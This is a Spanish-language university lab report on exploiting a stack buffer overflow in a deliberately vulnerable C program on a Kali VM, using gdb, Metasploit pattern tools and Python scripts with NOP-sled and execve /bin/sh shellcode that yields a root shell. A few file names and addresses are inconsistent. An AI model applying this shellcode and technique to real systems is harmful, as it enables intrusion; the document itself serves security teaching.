Está en la página 1de 11

Asignatura Datos del alumno Fecha

Apellidos: Sánchez Noceda


Análisis de
13 de enero del 2020
Vulnerabilidades
Nombre: Julio Efraín

Actividad: Realizar ataque de desbordamiento de buffer.


Crear dos exploits para el programa reto.c. El primero deberá conseguir acceder a la función
premio() alterando el flujo del programa y el segundo deberá obtener una shell local en la
propia máquina. Se deberá desactivar ASLR y compilar con las opciones adecuadas para
permitir ejecución de código en la pila.

La presente actividad se desarrolló en una máquina virtual con el sistema operativo Kali
Linux, anexo versión, dirección ip y nombre del host:

root@vmjuliosanchez:~# hostnamectl
Static hostname: vmjuliosanchez
Icon name: computer-vm
Chassis: vm
Machine ID: 32592958be5846a6950412db9a607cdd
Boot ID: 9dfe12c0ad034932952040bec4c27171
Virtualization: oracle
Operating System: Kali GNU/Linux Rolling
Kernel: Linux 5.3.0-kali2-amd64
Architecture: x86-64
root@vmjuliosanchez:~#

La dirección ip de la VM es 192.168.1.96

root@vmjuliosanchez:~# ip a | grep eth0


2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group
default qlen 1000
inet 192.168.1.96/24 brd 192.168.1.255 scope global dynamic noprefixroute eth0
root@vmjuliosanchez:~#

Cabe mencionar que las explicaciones teóricas serán excluidas debido a que ya fueron
proporcionadas en la “Guia Actividad BOF” así como también la captura de cada
imagen, me limitaré a presentar el resultado de la ejecución de cada comando desde el
shell en una conexión remota SSH hacia la máquina virtual.

TEMA 2 – Actividades © Universidad Internacional de La Rioja, S. A.


(UNIR)
Asignatura Datos del alumno Fecha
Apellidos: Sánchez Noceda
Análisis de
13 de enero del 2020
Vulnerabilidades
Nombre: Julio Efraín

Por facilidad de uso realizaré la actividad a través de una conexión remota SSH hacia la
máquina virtual con Kali Linux, esto ayudará a compactar la documentación de dicha
actividad.

Levantar una conexión a la SSH a la máquina virtual con Kali Linux:

jsanchezn@hpp14:~/ $ ssh root@192.168.1.96


root@192.168.1.96's password:
Linux vmjuliosanchez 5.3.0-kali2-amd64 #1 SMP Debian 5.3.9-3kali1 (2019-11-20) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent


permitted by applicable law.
Last login: Sun Jan 12 23:45:30 2020 from 192.168.1.92
root@vmjuliosanchez:~#

Se crea una carpeta “r3to_2020” con la finalidad de mantener un orden con los archivos
root@vmjuliosanchez:~# mkdir r3to_2020
root@vmjuliosanchez:~# cd r3to_2020/

Se crea el archivo con la extensión .c la cual contendrá la aplicación a explotar la


vulnerabilidad:

root@vmjuliosanchez:~/r3to_2020# vi r3to.c
root@vmjuliosanchez:~/r3to_2020# cat r3to.c
#include <stdio.h>
#include <string.h>
void premio()
{
printf("Alterado el flujo del programa JULIO SANCHEZ\n");
}
int main(int argc, char *argv[])

TEMA 2 – Actividades © Universidad Internacional de La Rioja, S. A.


(UNIR)
Asignatura Datos del alumno Fecha
Apellidos: Sánchez Noceda
Análisis de
13 de enero del 2020
Vulnerabilidades
Nombre: Julio Efraín

{
char buffer[100];
if (argc != 2)
{
printf("Uso: %s argumento\n",argv[0]);
return -1;
}
strcpy(buffer,argv[1]);
printf ("%s\n",buffer);
return 0;
}
root@vmjuliosanchez:~/r3to_2020#

Se lanza la ejecución de la aplicación “r3to.c”

root@vmjuliosanchez:~/r3to_2020# gcc -g -fno-stack-protector -z execstack -mpreferred-stack-


boundary=4 -o r3to r3to.c
root@vmjuliosanchez:~/r3to_2020#

Se deshabilita la ejecución aleatoria para la aplicación “r3to.c” con los comandos:

root@vmjuliosanchez:~/r3to_2020# echo 0 > /proc/sys/kernel/randomize_va_space


root@vmjuliosanchez:~/r3to_2020# cat /proc/sys/kernel/randomize_va_space
0
root@vmjuliosanchez:~/r3to_2020#

Se ingresa al debugger desde la línea de comandos sobre la aplicación recién lanzada a


ejecución:

root@vmjuliosanchez:~/r3to_2020# gdb ./r3to


GNU gdb (Debian 8.3.1-1) 8.3.1
Copyright (C) 2019 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.

TEMA 2 – Actividades © Universidad Internacional de La Rioja, S. A.


(UNIR)
Asignatura Datos del alumno Fecha
Apellidos: Sánchez Noceda
Análisis de
13 de enero del 2020
Vulnerabilidades
Nombre: Julio Efraín

There is NO WARRANTY, to the extent permitted by law.


Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./r3to...
(gdb)

Se imprimen 100 caracteres con la ayuda de Python desde la consola del Debugger, así
mismo se valida la correcta ejecución de la aplicación:

run $(python -c 'print "A" * 100')


(gdb) run $(python -c 'print "A" * 100')
Starting program: /root/r3to_2020/r3to $(python -c 'print "A" * 100')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[Inferior 1 (process 2116) exited normally]
(gdb)

Con la ayuda de la herramienta “pattern_create.rb” de Meta Exploit en una nueva


pestaña creamos una cadena de caracteres con una longitud de 130, la cual nos ayudará
a desbordar la aplicación; la ruta de la herramienta es:
/usr/share/metasploit-framework/tools/exploit/

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 130
root@vmjuliosanchez:~# /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 130
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4
Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2A
root@vmjuliosanchez:~#

TEMA 2 – Actividades © Universidad Internacional de La Rioja, S. A.


(UNIR)
Asignatura Datos del alumno Fecha
Apellidos: Sánchez Noceda
Análisis de
13 de enero del 2020
Vulnerabilidades
Nombre: Julio Efraín

Copiamos y ejecutamos la cadena en el prompt del debugger con el comando:


run CADENA_GENERADA

(gdb) run
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4
Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2A
Starting program: /root/r3to_2020/r3to
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4
Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2A
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4
Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2A
Program received signal SIGSEGV, Segmentation fault.
0x00005555555551cb in main (argc=2, argv=0x7fffffffe438) at r3to.c:19
19 }
(gdb)

Para saber en qué punto exacto ocurre el desbordamiento, los siguientes comandos nos
permitirán imprimir las salidas de la aplicación sobre el debugger; “(gdb) x/xw $ersp”
para 32bits y “(gdb) x/xw $rsp” para 64bits.

(gdb) x/xw $rsp


0x7fffffffe358: 0x41306541
(gdb)

Ahora con la ayuda de la herramienta ejecutamos un query/consulta con el valor


obtenido para saber dónde se presenta el desbordamiento en la aplicación:

root@vmjuliosanchez:~# /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41306541 -l


130
[*] Exact match at offset 120
root@vmjuliosanchez:~#

TEMA 2 – Actividades © Universidad Internacional de La Rioja, S. A.


(UNIR)
Asignatura Datos del alumno Fecha
Apellidos: Sánchez Noceda
Análisis de
13 de enero del 2020
Vulnerabilidades
Nombre: Julio Efraín

Ahora necesitamos atacar la función premio() de la aplicación r3to.c es necesario


obtener ensamblar el código de la aplicación con el comando (gdb) disas premio

(gdb) disas premio


Dump of assembler code for function premio:
0x0000555555555155 <+0>: push %rbp
0x0000555555555156 <+1>: mov %rsp,%rbp
0x0000555555555159 <+4>: lea 0xea8(%rip),%rdi # 0x555555556008
0x0000555555555160 <+11>: callq 0x555555555040 <puts@plt>
0x0000555555555165 <+16>: nop
0x0000555555555166 <+17>: pop %rbp
0x0000555555555167 <+18>: retq
End of assembler dump.
(gdb)

Las direcciones físicas son rbd y rsp es necesario convertirlas a código hexadecimal a
Little Endian, se deberá hacer con la dirección física rbd convirtiéndola de derecha a
izquierda.

0x0000555555555155
0x0000 55 55 55 55 51 55
\x55\x51\x55\x55\x55\x55

Ejecutamos nuevamente la impresión de 120 caracteres que desbordaran la aplicación y


ahora sumándole el código modificado con la dirección 120 donde se encuentra la
función premio.

(gdb) run $(python -c 'print "A" * 120 + "\x55\x51\x55\x55\x55\x55"')


The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/r3to_2020/r3to $(python -c 'print "A" * 120 + "\x55\x51\x55\x55\x55\x55"')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAUQUUUU
Alterado el flujo del programa JULIO SANCHEZ

TEMA 2 – Actividades © Universidad Internacional de La Rioja, S. A.


(UNIR)
Asignatura Datos del alumno Fecha
Apellidos: Sánchez Noceda
Análisis de
13 de enero del 2020
Vulnerabilidades
Nombre: Julio Efraín

Program received signal SIGSEGV, Segmentation fault.


0x00007ffff7fb14d8 in ?? () from /lib/x86_64-linux-gnu/libc.so.6
(gdb)

Para lograr ejecutar la dirección exacta de la función premio() es necesario realizar


previamente los siguientes pasos:

Creamos un primer archivo llamado “sh3ll.py” con el siguiente código:


root@vmjuliosanchez:~/r3to_2020# vi sh3ll.py
#!/usr/bin/python
nops = '\x90' * 64
shellCode = (
'\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69' +
'\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'
)
relleno = 'A' * (130 - 64 - 29)
eip = '\x50\xe2\xff\xff\xff\x7f'
print nops + shellCode + relleno + eip
root@vmjuliosanchez:~/r3to_2020#

Asignamos permiso de ejecución


root@vmjuliosanchez:~/r3to_2020# chmod +x shell.py

Ejecutamos sobre el debugger el sh3ll.py previamente creado:

(gdb) run $(./sh3ll.py)


The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/r3to_2020/r3to $(./sh3ll.py)
�������������������������������������������
���������������������H1�WW^ZH�//bin/shH�WT_j;XAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAP����

Program received signal SIGSEGV, Segmentation fault.


0x00005555555551cb in main (argc=2, argv=0x7fffffffe438) at r3to.c:19

TEMA 2 – Actividades © Universidad Internacional de La Rioja, S. A.


(UNIR)
Asignatura Datos del alumno Fecha
Apellidos: Sánchez Noceda
Análisis de
13 de enero del 2020
Vulnerabilidades
Nombre: Julio Efraín

19 }
(gdb)

Nos enviará error, ahora aprovechamos para desplegarlo con el código para ver donde
esta la función strcpy() con la ayuda del comando gdb list sobre el debugger.

(gdb) list
14 return -1;
15 }
16 strcpy(buffer,argv[1]);
17 printf ("%s\n",buffer);
18 return 0;
19 }
20
(gdb)

Una vez identificada la línea de código donde se encuentra la funcion strcpy()


enviaremos un break/interrupción a esa línea de código sobre el debbuger gdb con el
comando break.

(gdb) break 16
Breakpoint 1 at 0x55555555519f: file r3to.c, line 16.

Ejecutamos nuevamente el script sh3ll.py para que nos muestre el punto de interrupción
indicado

(gdb) run $(./sh3ll.py)


The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/r3to_2020/r3to $(./sh3ll.py)

Breakpoint 1, main (argc=2, argv=0x7fffffffe438) at r3to.c:16


16 strcpy(buffer,argv[1]);
(gdb)

TEMA 2 – Actividades © Universidad Internacional de La Rioja, S. A.


(UNIR)
Asignatura Datos del alumno Fecha
Apellidos: Sánchez Noceda
Análisis de
13 de enero del 2020
Vulnerabilidades
Nombre: Julio Efraín

Lo anterior nos despliega el punto de interrupción sobre la memoria donde se ejecuta la


función strcpy() previamente establecido.

Ahora bien, es necesario imprimir las 40 líneas de memoria sobre el debbuger con el
comando gdb x/40x $rsp.

(gdb) x/40x $rsp


0x7fffffffe2d0: 0xffffe438 0x00007fff 0x00000000 0x00000002
0x7fffffffe2e0: 0x00000000 0x00000000 0xf7fbb000 0x00007fff
0x7fffffffe2f0: 0x00000002 0x00000000 0xffffe438 0x00007fff
0x7fffffffe300: 0xffffe450 0x00007fff 0xffffe370 0x00007fff
0x7fffffffe310: 0x00000000 0x00000000 0x55555215 0x00005555
0x7fffffffe320: 0x00000000 0x00000000 0x00000000 0x00000000
0x7fffffffe330: 0x555551d0 0x00005555 0x55555070 0x00005555
0x7fffffffe340: 0xffffe430 0x00007fff 0x00000000 0x00000000
0x7fffffffe350: 0x555551d0 0x00005555 0xf7e21bbb 0x00007fff
0x7fffffffe360: 0xf7fb14d8 0x00007fff 0xffffe438 0x00007fff
(gdb)

Copiamos la tercera dirección física y la convertimos a formato Little Endian

0x7fffffffe2f0
7f ff ff ff e2 f0
\xf0\xe2\xff\xff\xff\x7f

Creamos el archivo sh3ll2.py ahora incluyendo dos cambios, incluir el valor del formato
Little Endian y especificar el carácter 120 que provoca el desbordamiento:

root@vmjuliosanchez:~/r3to_2020# vi sh3ll2.py
#!/usr/bin/python
nops = '\x90' * 64
shellCode = (
'\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69' +
'\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'
)

TEMA 2 – Actividades © Universidad Internacional de La Rioja, S. A.


(UNIR)
Asignatura Datos del alumno Fecha
Apellidos: Sánchez Noceda
Análisis de
13 de enero del 2020
Vulnerabilidades
Nombre: Julio Efraín

relleno = 'A' * (120 - 64 - 29)


eip = '\xd0\xe2\xff\xff\xff\x7f'
print nops + shellCode + relleno + eip

Asignamos permiso de ejecución


root@vmjuliosanchez:~/r3to_2020# chmod +x shell2.py

Limpiamos el buffer del debuger que contiene el punto de interrupción en la línea 16


con el comando clear.

(gdb) clear
Deleted breakpoint 1
(gdb)

Para finalizar con la actividad necesitamos obtener el Shell sobre la función premio(),
esto lo lograremos al ejecutarse correctamente el sh3ll2.py sobre el debugger.

(gdb) run $(./sh3ll2.py)


The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/r3to_2020/r3to $(./sh3ll2.py)
�������������������������������������������
���������������������H1�WW^ZH�//bin/shH�WT_j;XAAAAAAAAAA
AAAAAAAAAAAAAAAAA�����
process 2634 is executing new program: /usr/bin/dash
#
# ls
[Detaching after fork from child process 2636]
jsanchezn@192.168.1.92 r3to r3to.c sh3ll.py sh3ll2.py
# ip a | grep eth0
[Detaching after fork from child process 2638]
[Detaching after fork from child process 2639]
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group
default qlen 1000
inet 192.168.1.96/24 brd 192.168.1.255 scope global dynamic noprefixroute eth0

TEMA 2 – Actividades © Universidad Internacional de La Rioja, S. A.


(UNIR)
Asignatura Datos del alumno Fecha
Apellidos: Sánchez Noceda
Análisis de
13 de enero del 2020
Vulnerabilidades
Nombre: Julio Efraín

# whoami
[Detaching after fork from child process 2641]
root
#

TEMA 2 – Actividades © Universidad Internacional de La Rioja, S. A.


(UNIR)

También podría gustarte